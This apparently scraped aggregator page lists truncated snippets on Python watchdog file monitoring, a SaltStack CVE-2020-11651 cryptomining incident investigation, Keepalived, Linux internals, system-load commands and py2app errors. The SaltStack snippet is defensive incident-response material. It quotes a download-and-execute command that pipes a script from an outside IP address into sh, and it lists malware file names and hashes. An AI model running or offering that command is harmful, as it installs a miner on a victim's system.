watchdog

Watchdog ignore pattern

烈酒焚心 提交于 2020-07-10 10:26:26
问题 I tried working with other posts on here about this, but couldn't get it to work. I'm a newbie with Python. I need help with ignore_pattern . I'm uploading images to a folder and temporarily images are being added with __ , so the actual image added while file is uploading is __image-name.jpg . After it's done uploading it gets added again as image-name.jpg (and deletes the __image-name.jpg . I want to ignore all the __image-name.jpg files with watchdog. Here's my code: class Watcher:

How to run the RegexMatchingEventHandler of Watchdog correctly?

爷,独闯天下 提交于 2020-05-31 07:41:12
问题 I'm working on a small tool for a GameApi. This Api works with .log-files. They are provided in a specific location. I want to observe this location with with watchdog and it is working fine, if I use the PatternMatchingEventHandler. But if I use the RegexMatchingEventHandler it fails. I want to use Regex because there a many .log-files and I only want to check the files from today. Extension: I use Watchdog with the functions: on_created on_deleted on_moved on_modified This Website shows the

SaltStack漏洞导致的挖矿排查思路

耗尽温柔 提交于 2020-05-06 15:31:42
描述 SaltStack 是一套 C/S 架构的运维工具,服务端口默认为 4505 / 4506 ,两个端口如果对外网开放危害非常大,黑客利用 SaltStack 的远程命令执行漏洞 CVE-2020-11651 可以直接绕过 Salt-Master 的认证机制,调用相关函数向 Salt-Minion 下发指令执行系统命令,最终导致挖矿。 现象 受害 Salt-Minion 机器上存在挖矿进程 salt-minions 。 tmp 目录下存在可疑二进制文件: salt-store salt-minions 排查 确定所有 salt-master 机器列表; 查看当天 salt-master 的日志文件 /var/log/salt/minion ,是否存在可疑命令执行,筛选 cmdmod : 找到可疑的命令执行内容: (curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh 确认 SaltStack 版本,是否存在漏洞 CVE-2020-11651 。 样本分析 共三个样本: 文件名 MD5 sa.sh 204780df7dd946401d6e545a130689fb salt-store 8ec3385e20d6d9a88bc95831783beaeb salt-minions

Keepalived部署与配置详解

心不动则不痛 提交于 2020-05-04 03:43:41
Keepalive详解 工作原理 Keepalived本质就是为ipvs服务的,它也不需要共享存储。IPVS其实就是一些规则,Keepalived主要的任务就是去调用ipvsadm命令,来生成规则,并自动实现将用户需要访问的地址转移到可用LVS节点实现。所以keepalive的高可用是属于具有很强针对性的高可用,它和corosync这种通用性HA方案不同。 Keepalived的主要目的就是它自身启动为一个服务,它工作在多个LVS主机节点上,当前活动的节点叫做Master备用节点叫做Backup, Master会不停的向Backup节点通告自己的心跳,这种通告是基于VRRP协议的。Backup节点一旦接收不到Master的通告信息,它就会把LVS的VIP拿过来,并且把ipvs的规则也拿过来,在自己身上生效,从而替代Master节点 。 Keepalived除了可以监控和转移LVS资源之外,它还可以直接配置LVS而不需要直接使用ipvsadm命令,因为它可以调用,也就是说在LVS+KEEPALIVED模型中,你所有的工作在Keepalived中配置就可以了,而且它还有对后端应用服务器健康检查的功能。 直接一句话Keepalived就是VRRP协议的实现,该协议是虚拟冗余路由协议。 VRRP工作原理简述 那么这个VRRP协议是干嘛用呢?传统上来说我们通过一个路由器上网

Keepalived — VRRP 的 Linux 软件实现

ぃ、小莉子 提交于 2020-05-03 17:36:43
目录 文章目录 目录 Keepalived Keepalived 的架构 Keepalived 的运行原理 Keepalived 的选举策略 Keepalived 的脑裂 Keepalived Keepalived 起初是为 LVS 设计的,专门用来监控集群系统中各个服务节点的状态,它根据 TCP/IP L3-L5 层交换机制检测每个服务节点的状态,每个服务节点异常或者工作障碍,Keepalived 将立刻检测到,并把障碍节点剔除,是毫秒级的,当后台节点恢复正常以后,Keepalived有自动将服务节点重新添加在服务器集群中。 Keepalived 后来又加入了 VRRP 功能,目的就是解决静态路由单点故障的问题,通过 VRRP 可以实现网络不间断稳定运行。 简而言之,Keepalived 是一个使用 C 编写的,基于 VRRP 协议的高可用解决方案。通过 VIP 地址和心跳检测支持高可用功能,避免发生单点故障。该项目的主要目标是为 Linux 系统和基于 Linux 的基础结构提供负载均衡和高可用性的简单而强大的功能。 Keepalived 的架构 上图可见,Keepalived 的架构分为两大层:内核空间(Kernel Space)、用户空间(User Space)。其中,IPVS(IP Virtual Server)实现了 L4 传输层负载平衡;NETLINK

Linux 操作系统 — Kernel

霸气de小男生 提交于 2020-05-03 14:34:21
目录 文章目录 目录 趣解 Linux 内核 地基 第一层 跃层 趣解 Linux 内核 今天,我来为大家解读一幅来自 TurnOff.us 的漫画 “InSide The Linux Kernel” 。 TurnOff.us 是一个极客漫画网站,作者 Daniel Stori 画了一些非常有趣的关于编程语言、Web、云计算、Linux 相关的漫画。今天解读的便是其中的一篇。 地基 地基(底层)由一排排的文件柜组成,井然有序,文件柜里放置着 “文件” —— 电脑中的文件。左上角,有一只胸前挂着 421 号牌的小企鹅,它表示着 PID(Process ID) 为 421 的进程,它正在查看文件柜中的文件,这代表系统中正有一个进程在访问文件系统。在右下角有一只小狗,它是看门狗(Watchdog) ,这代表对文件系统的监控。 第一层 在这一层,最引人瞩目的莫过于中间的一块垫子,众多小企鹅在围着着桌子坐着。这个垫子的区域代表进程表。 左上角有一个小企鹅,站着,仿佛在说些什么这显然是一位家长式的人物,不过看起来周围坐的那些小企鹅不是很听话 —— 你看有好多走神、自顾自聊天的 —— “喂喂,说你呢,哇塞娃(171),转过身来”。它代表着 Linux 内核中的初始化(init)进程,也就是我们常说的 PID 为 1 的进程。桌子上坐的小企鹅都在等待状态(Wait)中,等待工作任务。 瞧瞧,垫子

linux系统cpu使用率查询

浪尽此生 提交于 2020-05-02 01:51:19
1、cat /proc/loadavg命令   此命令用于查看系统平均负载。 $ cat /proc/ loadavg 0.08 0.06 0.10 1 / 442 8347   前三项分别是最近1分钟、5分钟和15分钟的系统平均负载。系统平均负载为在特定时间间隔内运行队列中的平均进程数,包括正在CPU上运行或者等待运行的进程。   第四项,分子是正在运行的进程数,分母是进程总数。   最后一项是最近运行的进程ID号。 2、top 命令   Top命令是最常用的查看系统资源使用情况的工具,可以查看CPU、内存等资源的使用情况。 $ top top - 10 : 00 : 34 up 193 days, 15 min, 2 users, load average: 0.03 , 0.05 , 0.10 Tasks: 168 total, 1 running, 167 sleeping, 0 stopped, 0 zombie %Cpu(s): 0.8 us, 0.8 sy, 0.0 ni, 98.4 id , 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem : 32946324 total, 10400992 free , 2478008 used, 20067324 buff/ cache KiB Swap: 0 total, 0 free , 0

Linux下查询内存使用情况的常用命令

孤街浪徒 提交于 2020-05-02 00:32:13
1、free命令   free 命令会显示系统内存的使用情况,包括物理内存、交换内存(swap)和内核缓冲区内存等。 $ free total used free shared buff/ cache available Mem: 32946324 2489392 11422656 1622872 19034276 28352888 Swap: 0 0 0 释义:   Mem:内存使用情况。   Swap:交换空间(虚拟内存)使用情况。   total:系统总共可用物理内存、交换空间大小。   used:已经被使用的物理内存、交换空间大小。   free:剩余可用物理内存、交换空间大小。   shared:被共享使用的物理内存大小。   buff/cache:被 buffer 和 cache 使用的物理内存大小。   available:还可以被应用程序使用的物理内存大小。 常见用法: free - h      //以更友好的方式显示,会以K、M、G为单位来 显示 free -h -s 3   //以一定时间间隔重复的输出,这个命令是每3秒输出一次   free 命令中的信息都来自于 /proc/meminfo 文件。 2、vmstat命令   vmstat 是Virtual Meomory Statistics(虚拟内存统计)的缩写,可对操作系统的虚拟内存、进程

py2app ImportError with watchdog

生来就可爱ヽ(ⅴ<●) 提交于 2020-04-30 09:19:47
问题 I am attempting to use py2app to bundle a small Python app that I've made in Python 2.7 on Mac. My app uses the Watchdog library, which is imported at the top of my main file: from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler When running my program, these import statements work just fine, and the program works as expected. However, after running py2app, launching the bundled application generates the following error: ImportError: No module named

py2app ImportError with watchdog

蹲街弑〆低调 提交于 2020-04-30 09:17:12
问题 I am attempting to use py2app to bundle a small Python app that I've made in Python 2.7 on Mac. My app uses the Watchdog library, which is imported at the top of my main file: from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler When running my program, these import statements work just fine, and the program works as expected. However, after running py2app, launching the bundled application generates the following error: ImportError: No module named